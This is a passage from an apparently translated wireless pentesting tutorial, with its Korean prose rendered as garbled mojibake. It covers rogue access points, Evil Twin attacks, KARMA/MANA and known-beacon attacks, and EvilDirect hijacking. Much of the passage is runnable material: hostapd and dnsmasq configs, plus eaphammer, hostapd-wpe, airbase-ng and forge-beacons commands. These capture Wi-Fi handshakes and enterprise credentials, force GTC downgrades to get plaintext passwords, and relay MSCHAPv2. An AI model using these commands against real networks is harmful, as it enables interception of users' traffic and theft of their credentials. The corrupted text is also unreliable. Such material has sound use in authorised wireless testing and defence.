๊ตฌ์ฑ ํ์ผ /etc/dnsmasq.conf์ ์์ฑํฉ๋๋ค:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
๊ทธ๋ฐ ๋ค์ set IPs ๋ฐ routes:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
๊ทธ๋ฐ ๋ค์ dnsmasq๋ฅผ ์์ํ์ธ์:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
๊ตฌ์ฑ ํ์ผ hostapd.conf ์์ฑ:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
์ฑ๊ฐ์ ํ๋ก์ธ์ค ์ค์ง , ์ค์ monitor mode, ๊ทธ๋ฆฌ๊ณ ์์ hostapd:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
ํฌ์๋ฉ ๋ฐ ๋ฆฌ๋๋ ์
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
An evil twin attack๋ WiFi ํด๋ผ์ด์ธํธ๊ฐ ๋คํธ์ํฌ๋ฅผ ์ธ์ํ๋ ๋ฐฉ์์ ์ ์ฉํ๋ฉฐ, ์ฃผ๋ก ๋คํธ์ํฌ ์ด๋ฆ(ESSID)์ ์์กดํ๊ณ base station (access point)์ด ํด๋ผ์ด์ธํธ์๊ฒ ์ค์ค๋ก ์ธ์ฆํ ๊ฒ์ ์๊ตฌํ์ง ์์ต๋๋ค. ํต์ฌ ์ฌํญ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ๊ตฌ๋ณ์ ์ด๋ ค์: ์ฅ์น๋ค์ ๋์ผํ ESSID์ ์ํธํ ์ ํ์ ๊ณต์ ํ ๋ ์ ๋นํ access points์ rogue access points๋ฅผ ๊ตฌ๋ถํ๊ธฐ ์ด๋ ต์ต๋๋ค. ์ค์ ๋คํธ์ํฌ๋ ์ข ์ข ๋์ผํ ESSID๋ฅผ ๊ฐ์ง ์ฌ๋ฌ access point๋ฅผ ์ฌ์ฉํ์ฌ ์ปค๋ฒ๋ฆฌ์ง๋ฅผ ๋งค๋๋ฝ๊ฒ ํ์ฅํฉ๋๋ค.
- ํด๋ผ์ด์ธํธ ๋ก๋ฐ ๋ฐ ์ฐ๊ฒฐ ์กฐ์: 802.11 ํ๋กํ ์ฝ์ ์ฅ์น๊ฐ ๋์ผํ ESS ๋ด์ access points ์ฌ์ด๋ฅผ ๋ก๋ฐํ๋๋ก ํ์ฉํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ์ฅ์น๊ฐ ํ์ฌ base station์์ ์ฐ๊ฒฐ์ ๋๊ณ rogue access point์ ์ฐ๊ฒฐํ๋๋ก ์ ๋ํจ์ผ๋ก์จ ์ด๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค. ์ด๋ ๋ ๊ฐํ ์ ํธ๋ฅผ ์ ๊ณตํ๊ฑฐ๋ deauthentication packets ๋๋ jamming๊ณผ ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก ์ ๋นํ access point์์ ์ฐ๊ฒฐ์ ๋ฐฉํดํจ์ผ๋ก์จ ๋ฌ์ฑํ ์ ์์ต๋๋ค.
- ์คํ์ ์ด๋ ค์: ์ฌ๋ฌ ๊ฐ์ ์ ์ ํ ๋ฐฐ์น๋ access points๊ฐ ์๋ ํ๊ฒฝ์์๋ evil twin attack์ ์ฑ๊ณต์ ์ผ๋ก ์ํํ๊ธฐ ์ด๋ ต์ต๋๋ค. ๋จ์ผ ์ ๋นํ access point๋ฅผ deauthenticateํ๋ฉด ์ฅ์น๊ฐ ๋ค๋ฅธ ์ ๋นํ access point์ ์ฐ๊ฒฐ๋๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ผ๋ฉฐ, ๊ณต๊ฒฉ์๊ฐ ์ฃผ๋ณ์ ๋ชจ๋ access points๋ฅผ deauthenticateํ๊ฑฐ๋ rogue access point๋ฅผ ์ ๋ต์ ์ผ๋ก ๋ฐฐ์นํด์ผ ํฉ๋๋ค.
์๋์ ๊ฐ์ด ๋งค์ฐ ๊ธฐ๋ณธ์ ์ธ Open Evil Twin(ํธ๋ํฝ์ Internet์ผ๋ก ๋ผ์ฐํ ํ ์ ์์)์ ๋ง๋ค ์ ์์ต๋๋ค:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
๋ํ eaphammer๋ฅผ ์ฌ์ฉํ์ฌ Evil Twin์ ์์ฑํ ์๋ ์์ต๋๋ค (eaphammer๋ก evil twins๋ฅผ ์์ฑํ๋ ค๋ฉด ์ธํฐํ์ด์ค๊ฐ should NOT be monitor ๋ชจ๋์ ์์ด์๋ ์ ๋ฉ๋๋ค):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
๋๋ Airgeddon์ ์ฌ์ฉ: Options: 5,6,7,8,9 (inside Evil Twin attack menu).
.png)
๊ธฐ๋ณธ์ ์ผ๋ก PNL์ ์๋ ESSID๊ฐ WPA๋ก ๋ณดํธ๋ ๊ฒ์ผ๋ก ์ ์ฅ๋์ด ์์ผ๋ฉด, ๊ธฐ๊ธฐ๋ ์๋์ผ๋ก Open evil Twin์ ์ฐ๊ฒฐ๋์ง ์๋๋ค๋ ์ ์ ์ ์ํ์ธ์. ์ค์ AP์ DoS๋ฅผ ์๋ํด ์ฌ์ฉ์๊ฐ ์๋์ผ๋ก ๋น์ ์ Open evil twin์ ์ฐ๊ฒฐํ๊ธฐ๋ฅผ ๊ธฐ๋ํ ์๋ ์๊ณ , ๋๋ ์ค์ AP์ DoS๋ฅผ ๊ฐํ ํ WPA Evil Twin์ ์ฌ์ฉํด handshake๋ฅผ ์บก์ฒํ ์๋ ์์ต๋๋ค (์ด ๋ฐฉ๋ฒ์ PSK๋ฅผ ๋ชจ๋ฅด๋ ์ํ์์๋ ํผํด์๊ฐ ๋น์ ์๊ฒ ์ฐ๊ฒฐํ๋๋ก ํ ์ ์์ง๋ง, handshake๋ฅผ ์บก์ฒํ์ฌ ํฌ๋์ ์๋ํ ์ ์์ต๋๋ค).
Some OS and AV will warn the user that connect to an Open network is dangerousโฆ
WPA/WPA2 Evil Twin
๋น์ ์ Evil Twin using WPA/2๋ฅผ ์์ฑํ ์ ์์ผ๋ฉฐ, ๋๋ฐ์ด์ค๋ค์ด ํด๋น SSID์ WPA/2๋ก ์ฐ๊ฒฐํ๋๋ก ์ค์ ๋์ด ์๋ค๋ฉด ์ฐ๊ฒฐ์ ์๋ํ ๊ฒ์ ๋๋ค. ์ด์จ๋ , to complete the 4-way-handshakeํ๋ ค๋ฉด ํด๋ผ์ด์ธํธ๊ฐ ์ฌ์ฉํ ๋น๋ฐ๋ฒํธ๋ฅผ ์๊ณ ์์ด์ผ ํฉ๋๋ค. ๋ง์ฝ ๋ชจ๋ฅธ๋ค๋ฉด, ์ฐ๊ฒฐ์ด ์๋ฃ๋์ง ์์ต๋๋ค.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Enterprise Evil Twin
์ด ๊ณต๊ฒฉ์ ์ดํดํ๋ ค๋ฉด ๋จผ์ ๊ฐ๋จํ WPA Enterprise explanation๋ฅผ ์ฝ์ด๋ณด๋ ๊ฒ์ ๊ถํฉ๋๋ค.
hostapd-wpe ์ฌ์ฉํ๊ธฐ
hostapd-wpe๋ ์๋ํ๋ ค๋ฉด ์ค์ ํ์ผ์ด ํ์ํฉ๋๋ค. ์ด๋ฌํ ์ค์ ํ์ผ๋ค์ ์์ฑ์ ์๋ํํ๋ ค๋ฉด https://github.com/WJDigby/apd_launchpad๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค (/etc/hostapd-wpe/ ์์ ์๋ python ํ์ผ์ ๋ค์ด๋ก๋ํ์ธ์)
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
์ค์ ํ์ผ์์ ssid, channel, user files, cret/key, dh parameters, wpa version ๋ฐ auth ๋ฑ์ ์ ํํ ์ ์์ต๋๋คโฆ
Using hostapd-wpe with EAP-TLS to allow any certificate to login.
EAPHammer ์ฌ์ฉ
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
๊ธฐ๋ณธ์ ์ผ๋ก EAPHammer๋ ๋ค์ authentication methods๋ฅผ ์ฌ์ฉํฉ๋๋ค(GTC๊ฐ plaintext passwords๋ฅผ ์ป๊ธฐ ์ํด ๊ฐ์ฅ ๋จผ์ ์๋๋๋ ์ ์ ์ ์ํ๊ณ , ๊ทธ ํ ๋ ๊ฐ๋ ฅํ auth methods๋ฅผ ์ฌ์ฉํฉ๋๋ค):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
์ด๋ ๊ธด ์ฐ๊ฒฐ ์๊ฐ์ ํผํ๊ธฐ ์ํ ๊ธฐ๋ณธ ๋ฐฉ๋ฒ์ ๋๋ค. ๊ทธ๋ฌ๋ authentication methods๋ฅผ ๊ฐ์ฅ ์ฝํ ๊ฒ์์ ๊ฐ์ฅ ๊ฐํ ๊ฒ ์์๋ก server์ ์ง์ ํ ์๋ ์์ต๋๋ค:
--negotiate weakest
Or you could also use:
--negotiate gtc-downgradeto use highly efficient GTC downgrade implementation (plaintext passwords)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAPto specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).- Find more info in the wiki
When clients skip RADIUS certificate validation (PEAP/TTLS)
- ์ฅ์น๊ฐ โdo not validate certificateโ๋ก ๊ตฌ์ฑ๋์ด ์์ผ๋ฉด, ํด๋ก ๋ AP + rogue RADIUS (
eaphammer --cert-wizard --creds --auth wpa-eap)๊ฐ NetNTLMv2 (PEAP-MSCHAPv2) ๋๋ cleartext ์๊ฒฉ์ฆ๋ช ์ ์์งํฉ๋๋ค.bettercapdeauth (wifi.deauth <BSSID>)๋ ํ๋ก๋ธ ์ค ์จ๊ฒจ์ง SSID๋ฅผ ๋๋ฌ๋ด๊ณ ์ฌ์ฐ๊ฒฐ์ ๊ฐ์ ํ๋ฉฐ, PMF/802.11w๊ฐ ์คํธํ๋ deauth๋ฅผ ์ฐจ๋จํ์ง ์๋ ํ ์ ํจํฉ๋๋ค. - Cracked NetNTLMv2๋ ์ฌ์ฌ์ฉ ๊ฐ๋ฅํ WiโFi/AD creds๋ฅผ ์ ๊ณตํ๋ฉฐ; GTC๋ ์ฆ์ plaintext๋ฅผ ์ ๊ณตํฉ๋๋ค.
Relaying PEAP-MSCHAPv2 instead of cracking (wpa_sycophant + hostapd-mana)
- ๋ฌด์์๋ก ์์ฑ๋์ด ํฌ๋ํน์ด ๋ถ๊ฐ๋ฅํ ์ํธ๋ฅผ ๊ฐ์ง ๋จธ์ ๊ณ์ ์ ๊ฒฝ์ฐ, MSCHAPv2 relay๋ฅผ ์
์ฉํ์ธ์:
hostapd-mana๋ฅผ Evil Twin์ผ๋ก ์คํํ์ฌ MSCHAPv2 ๊ตํ์wpa_sycophant๋ก ์ ๋ฌํ๊ณ ,wpa_sycophant๋ ๋์์ ์ ์ AP์ ์ฐ๊ฒฐํฉ๋๋ค. ๋ฆฌ๋ ์ด๊ฐ ์ฑ๊ณตํ๋ฉด ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณต๊ตฌํ์ง ์๊ณ ๋ ์ธ์ฆ๋ WiโFi ์ ๊ทผ์ ์ป์ ์ ์์ต๋๋ค. - ๋์ ๋ณด์ ์์ค์ ์ง์ํ๋ ๋น๋๋ฅผ ์ฌ์ฉํ์ธ์ (WPA3/PMF๋ ์ต์ hostapd/wpa_supplicant๊ฐ ํ์ํฉ๋๋ค); PMF๋ deauth ๊ฐ์ ๋ฅผ ๋ฐฉ์งํ๋ฏ๋ก ํด๋ผ์ด์ธํธ๊ฐ ์๋ฐ์ ์ผ๋ก ์ฐ๊ฒฐํ ๋๊น์ง ๊ธฐ๋ค๋ฆฌ์ธ์.
Using Airgeddon
Airgeddon์ ์ด์ ์ ์์ฑ๋ certificated๋ฅผ ์ฌ์ฉํด WPA/WPA2-Enterprise ๋คํธ์ํฌ์ EAP ์ธ์ฆ์ ์ ๊ณตํ ์ ์์ต๋๋ค. ๊ฐ์ง ๋คํธ์ํฌ๋ ์ฐ๊ฒฐ ํ๋กํ ์ฝ์ EAP-MD5๋ก ๋ค์ด๊ทธ๋ ์ด๋ํ์ฌ ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ์ MD5๋ฅผ ์บก์ฒํ ์ ์์ต๋๋ค. ์ดํ ๊ณต๊ฒฉ์๋ ๋น๋ฐ๋ฒํธ๋ฅผ ํฌ๋ํ๋ ค ์๋ํ ์ ์์ต๋๋ค.Airggedon์ continuous Evil Twin attack (noisy) ๋๋ only create the Evil Attack until someone connects (smooth) ์ค ํ๋๋ฅผ ์ ํํ ์ ์๋ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค.
.png)
Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
์ด ๋ฐฉ๋ฒ์ PEAP ์ฐ๊ฒฐ์์ ํ ์คํธ๋์์ง๋ง, ์์์ TLS ํฐ๋์ ๋ณตํธํํ๊ธฐ ๋๋ฌธ์ EAP-TTLS์์๋ ์๋ํด์ผ ํฉ๋๋ค.
hostapd-wpe์ ๊ตฌ์ฑ ๋ด์์ _dh_file_์ ํฌํจํ๋ ์ค์ ์ฃผ์ ์ฒ๋ฆฌํ์ธ์ (from dh_file=/etc/hostapd-wpe/certs/dh to #dh_file=/etc/hostapd-wpe/certs/dh)
์ด๋ ๊ฒ ํ๋ฉด hostapd-wpe๊ฐ DH ๋์ RSA๋ฅผ ์ฌ์ฉํด ํค๋ฅผ ๊ตํํ๋ฏ๋ก, ๋์ค์ ์๋ฒ์ ๊ฐ์ธ ํค๋ฅผ ์๊ณ ์๋ค๋ฉด ํธ๋ํฝ์ ๋ณตํธํํ ์ ์์ต๋๋ค.
์ด์ ์์ ๋ ๊ตฌ์ฑ์ผ๋ก ํ์์ฒ๋ผ Evil Twin์ hostapd-wpe๋ก ์์ํ์ธ์. ๋ํ Evil Twin ๊ณต๊ฒฉ์ ์ํํ๋ ์ธํฐํ์ด์ค์์ wireshark๋ฅผ ์์ํ์ธ์.
์ง๊ธ ๋๋ ๋์ค์(์ด๋ฏธ ์ผ๋ถ ์ธ์ฆ ์๋๊ฐ ์บก์ฒ๋ ๊ฒฝ์ฐ) Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...์ ๊ฐ์ธ RSA ํค๋ฅผ wireshark์ ์ถ๊ฐํ ์ ์์ต๋๋ค.
์ ํญ๋ชฉ์ ์ถ๊ฐํ๊ณ ๋ค์ ๊ฐ์ผ๋ก ์์์ ์ฑ์ฐ์ธ์: IP address = any โ Port = 0 โ Protocol = data โ Key File (select your key file, to avoid problems select a key file without being password protected).
.png)
๊ทธ๋ฆฌ๊ณ ์๋ก์ด โDecrypted TLSโ tab์ ํ์ธํ์ธ์:
.png)
KARMA, MANA, Loud MANA and Known beacons attack
ESSID and MAC black/whitelists
Different types of Media Access Control Filter Lists (MFACLs) and their corresponding modes and effects on the behavior of a rogue Access Point (AP):
- MAC-based Whitelist:
- rogue AP๋ ํ์ดํธ๋ฆฌ์คํธ์ ๋ช ์๋ ์ฅ์น์ probe request์๋ง ์๋ตํ๋ฉฐ, ๋ชฉ๋ก์ ์๋ ๋ค๋ฅธ ๋ชจ๋ ์ฅ์น์๋ ๋ณด์ด์ง ์์ต๋๋ค.
- MAC-based Blacklist:
- rogue AP๋ ๋ธ๋๋ฆฌ์คํธ์ ์๋ ์ฅ์น์ probe request๋ฅผ ๋ฌด์ํ์ฌ, ํด๋น ํน์ ์ฅ์น๋ค์๊ฒ๋ rogue AP๊ฐ ๋ณด์ด์ง ์๋๋ก ํฉ๋๋ค.
- SSID-based Whitelist:
- rogue AP๋ ๋ชฉ๋ก์ ์๋ ํน์ ESSID์ ๋ํ probe request์๋ง ์๋ตํ๋ฏ๋ก, Preferred Network Lists(PNL)์ ํด๋น ESSID๊ฐ ์๋ ์ฅ์น์๋ ๋ณด์ด์ง ์์ต๋๋ค.
- SSID-based Blacklist:
- rogue AP๋ ๋ธ๋๋ฆฌ์คํธ์ ์๋ ํน์ ESSID์ ๋ํ probe request์ ์๋ตํ์ง ์์, ํด๋น ๋คํธ์ํฌ๋ฅผ ์ฐพ๋ ์ฅ์น๋ค์๊ฒ๋ ๋ณด์ด์ง ์์ต๋๋ค.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
์ด ๋ฐฉ๋ฒ์ ๋คํธ์ํฌ์ ์ฐ๊ฒฐํ๋ ค๋ ์ฅ์น๋ค์ ๋ชจ๋ probe requests์ ์๋ตํ๋ ์ ์ฑ access point (AP)๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์์ฑํ ์ ์๊ฒ ํฉ๋๋ค. ์ด ๊ธฐ์ ์ ์ฅ์น๊ฐ ์ฐพ๊ณ ์๋ ๋คํธ์ํฌ๋ฅผ ํ๋ด ๋ด์ด ์ฅ์น๊ฐ ๊ณต๊ฒฉ์์ AP์ ์ฐ๊ฒฐ๋๋๋ก ์์ ๋๋ค. ์ฅ์น๊ฐ ์ด rogue AP๋ก ์ฐ๊ฒฐ ์์ฒญ์ ๋ณด๋ด๋ฉด ์ฐ๊ฒฐ์ด ์๋ฃ๋์ด ์ฅ์น๊ฐ ๊ณต๊ฒฉ์์ ๋คํธ์ํฌ์ ์๋ชป ์ฐ๊ฒฐ๋ฉ๋๋ค.
MANA
๊ทธ ํ, ์ฅ์น๋ค์ ๋ถํ์คํ ๋คํธ์ํฌ ์๋ต์ ๋ฌด์ํ๊ธฐ ์์ํ์ฌ ์๋์ KARMA ๊ณต๊ฒฉ์ ํจ๊ณผ๊ฐ ๊ฐ์ํ์ต๋๋ค. ๊ทธ๋ฌ๋ Ian de Villiers์ Dominic White๊ฐ ์๊ฐํ ์๋ก์ด ๋ฐฉ๋ฒ์ธ MANA ๊ณต๊ฒฉ์ด ๋ฑ์ฅํ์ต๋๋ค. ์ด ๋ฐฉ๋ฒ์ rogue AP๊ฐ ์ฅ์น๋ค์ broadcast probe requests์ ๋ํด ์ฅ์น๋ค์ด ์ด์ ์ ์ ์ฅํ ๋คํธ์ํฌ ์ด๋ฆ(SSIDs)์ผ๋ก ์๋ตํจ์ผ๋ก์จ Preferred Network Lists (PNL)๋ฅผ ์บก์ฒํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ์ด ์ ๊ตํ ๊ณต๊ฒฉ์ ์ฅ์น๋ค์ด ์๋ ค์ง ๋คํธ์ํฌ๋ฅผ ๊ธฐ์ตํ๊ณ ์ฐ์ ์์๋ฅผ ๋งค๊ธฐ๋ ๋ฐฉ์์ ์ ์ฉํ์ฌ ์๋ KARMA ๊ณต๊ฒฉ์ ๋ํ ๋ณดํธ๋ฅผ ์ฐํํฉ๋๋ค.
MANA ๊ณต๊ฒฉ์ ์ฅ์น๋ค๋ก๋ถํฐ ์ค๋ directed ๋ฐ broadcast probe requests๋ฅผ ๋ชจ๋ ๋ชจ๋ํฐ๋งํ์ฌ ์๋ํฉ๋๋ค. directed ์์ฒญ์ ๊ฒฝ์ฐ, ์ฅ์น์ MAC ์ฃผ์์ ์์ฒญ๋ ๋คํธ์ํฌ ์ด๋ฆ์ ๊ธฐ๋กํ์ฌ ์ด ์ ๋ณด๋ฅผ ๋ชฉ๋ก์ ์ถ๊ฐํฉ๋๋ค. broadcast ์์ฒญ์ด ์์ ๋๋ฉด AP๋ ์ฅ์น ๋ชฉ๋ก์ ๋คํธ์ํฌ ์ค ํ๋์ ์ผ์นํ๋ ์ ๋ณด๋ก ์๋ตํ์ฌ ์ฅ์น๋ฅผ rogue AP์ ์ฐ๊ฒฐ๋๋๋ก ์ ๋ํฉ๋๋ค.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
A Loud MANA attack์ ์ฅ์น๋ค์ด directed probing์ ์ฌ์ฉํ์ง ์๊ฑฐ๋ ๊ณต๊ฒฉ์๊ฐ ๊ทธ๋ค์ ์ ํธ ๋คํธ์ํฌ ๋ชฉ๋ก (PNL)์ ๋ชจ๋ฅผ ๋ ์ฌ์ฉํ๋ ๊ณ ๊ธ ์ ๋ต์ด๋ค. ์ด ๊ณต๊ฒฉ์ ๊ฐ์ ์ง์ญ์ ์๋ ์ฅ์น๋ค์ PNL์์ ์ผ๋ถ ๋คํธ์ํฌ ์ด๋ฆ์ ๊ณต์ ํ ๊ฐ๋ฅ์ฑ์ด ๋๋ค๋ ์์น์ ๋ฐ๋ผ ์๋ํ๋ค. ์ ํ์ ์ผ๋ก ์๋ตํ๋ ๋์ , ์ด ๊ณต๊ฒฉ์ ๊ด์ฐฐ๋ ๋ชจ๋ ์ฅ์น์ ๊ฒฐํฉ๋ PNL์์ ๋ฐ๊ฒฌ๋ ๋ชจ๋ ๋คํธ์ํฌ ์ด๋ฆ(ESSID)์ ๋ํด probe responses๋ฅผ ๋ธ๋ก๋์บ์คํธํ๋ค. ์ด๋ฌํ ๊ด๋ฒ์ํ ๋ฐฉ์์ ์ฅ์น๊ฐ ์ต์ํ ๋คํธ์ํฌ๋ฅผ ์ธ์ํ๊ณ rogue Access Point (AP)์ ์ฐ๊ฒฐ์ ์๋ํ ๊ฐ๋ฅ์ฑ์ ๋์ธ๋ค.
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
Loud MANA attack๊ฐ ์ถฉ๋ถํ์ง ์์ ๋, Known Beacon attack์ ๋ ๋ค๋ฅธ ์ ๊ทผ๋ฒ์ ์ ์ํ๋ค. ์ด ๋ฐฉ๋ฒ์ ์๋๋ฆฌ์คํธ์์ ํ์๋ ํ๋ณด ESSIDs ๋ชฉ๋ก์ ์ฌ์ฉํ์ฌ, brute-forces the connection process by simulating an AP that responds to any network name, cycling through a list of potential ESSIDs. ์ด๋ ์๋ง์ ๋คํธ์ํฌ๊ฐ ์กด์ฌํ๋ ๊ฒ์ฒ๋ผ ์๋ฎฌ๋ ์ด์
ํ์ฌ ํผํด์์ PNL ๋ด ESSID์ ์ผ์นํ๊ธฐ๋ฅผ ๊ธฐ๋ํ๊ณ , ๊ทธ ๊ฒฐ๊ณผ ๋ง๋ค์ด์ง AP์ ์ฐ๊ฒฐ์ ์๋ํ๊ฒ ๋ง๋ ๋ค. ๊ณต๊ฒฉ์ ์ฅ์น๋ฅผ ๋ ์ ๊ทน์ ์ผ๋ก ์ ์ธํ๊ธฐ ์ํด --loud ์ต์
๊ณผ ๊ฒฐํฉํ์ฌ ์ฆํญํ ์ ์๋ค.
Eaphammer๋ ์ด ๊ณต๊ฒฉ์ ๋ฆฌ์คํธ ์์ ๋ชจ๋ ESSIDs๊ฐ ์ ๊ณต๋๋ MANA attack์ผ๋ก ๊ตฌํํ๋ค(you could also combine this with --loud to create a Loud MANA + Known beacons attack):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Known Beacon Burst attack
Known Beacon Burst attack์ ํ์ผ์ ๋์ด๋ ๊ฐ ESSID์ ๋ํด beacon frames๋ฅผ ์ฐ์์ ์ผ๋ก ๋ธ๋ก๋์บ์คํธํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ์ด๋ก ์ธํด ๊ฐ์ง ๋คํธ์ํฌ๊ฐ ๋ฐ์งํ ํ๊ฒฝ์ด ํ์ฑ๋์ด, ํนํ MANA attack๊ณผ ๊ฒฐํฉํ๋ฉด ๋๋ฐ์ด์ค๊ฐ rogue AP์ ์ฐ๊ฒฐํ ๊ฐ๋ฅ์ฑ์ด ํฌ๊ฒ ์ฆ๊ฐํฉ๋๋ค. ์ด ๊ธฐ์ ์ ์๋์ ์์ ์ด์ฉํด ๋๋ฐ์ด์ค์ ๋คํธ์ํฌ ์ ํ ๋ฉ์ปค๋์ฆ์ ์๋ํฉ๋๋ค.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct๋ ์ ํต์ ์ธ ๋ฌด์ ์ก์ธ์ค ํฌ์ธํธ ์์ด Wi-Fi๋ฅผ ์ด์ฉํด ๊ธฐ๊ธฐ๋ค๋ผ๋ฆฌ ์ง์ ์ฐ๊ฒฐ๋๋๋ก ํ๋ ํ๋กํ ์ฝ์ ๋๋ค. ์ด ๊ธฐ๋ฅ์ ํ๋ฆฐํฐ๋ ํ ๋ ๋น์ ๊ณผ ๊ฐ์ ๋ค์ํ Internet of Things (IoT) ์ฅ์น์ ํตํฉ๋์ด ์ฅ์น ๊ฐ ์ง์ ํต์ ์ ์ฉ์ดํ๊ฒ ํฉ๋๋ค. Wi-Fi Direct์ ํน์ง ์ค ํ๋๋ ํ ๊ธฐ๊ธฐ๊ฐ ์ฐ๊ฒฐ์ ๊ด๋ฆฌํ๊ธฐ ์ํด group owner ์ญํ ์ ๋งก๋๋ค๋ ์ ์ ๋๋ค.
Wi-Fi Direct ์ฐ๊ฒฐ์ ๋ณด์์ **Wi-Fi Protected Setup (WPS)**์ ํตํด ์ค์ ๋๋ฉฐ, ์์ ํ ํ์ด๋ง์ ์ํ ์ฌ๋ฌ ๋ฐฉ๋ฒ์ ์ง์ํฉ๋๋ค. ์๋ฅผ ๋ค๋ฉด:
- Push-Button Configuration (PBC)
- PIN entry
- Near-Field Communication (NFC)
์ด๋ค ๋ฐฉ๋ฒ์ ํนํ PIN entry๊ฐ ๊ธฐ์กด Wi-Fi ๋คํธ์ํฌ์ WPS์ ๋์ผํ ์ทจ์ฝ์ ์ ๋ ธ์ถ๋ ์ ์์ด ์ ์ฌํ ๊ณต๊ฒฉ ๋ฒกํฐ์ ๋์์ด ๋ฉ๋๋ค.
EvilDirect Hijacking
EvilDirect Hijacking์ Wi-Fi Direct์ ํนํ๋ ๊ณต๊ฒฉ์
๋๋ค. ์ด๋ Evil Twin ๊ณต๊ฒฉ ๊ฐ๋
์ ๊ทธ๋๋ก ๋ฐ๋ฅด์ง๋ง Wi-Fi Direct ์ฐ๊ฒฐ์ ๋์์ผ๋ก ํฉ๋๋ค. ์ด ์๋๋ฆฌ์ค์์ ๊ณต๊ฒฉ์๋ ํฉ๋ฒ์ ์ธ group owner๋ฅผ ์ฌ์นญํ์ฌ ์ฅ์น๋ค์ด ์
์ฑ ์ํฐํฐ์ ์ฐ๊ฒฐ๋๋๋ก ์์ด๋ ค ํฉ๋๋ค. ์ด ๋ฐฉ๋ฒ์ airbase-ng์ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํด ์ฌ์นญ ๋์ ๊ธฐ๊ธฐ์ channel, ESSID, MAC address๋ฅผ ์ง์ ํ์ฌ ์คํํ ์ ์์ต๋๋ค:
References
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- The vulnerability that killed FreeWifi_Secure
- RFC 4186 โ EAP-SIM Authentication
- 3GPP TS 33.402 โ 3GPP system architecture evolution (SAE); Security aspects of non-3GPP accesses
- Wireless-(in)Fidelity: Pentesting Wi-Fi in 2025 (Synacktiv)
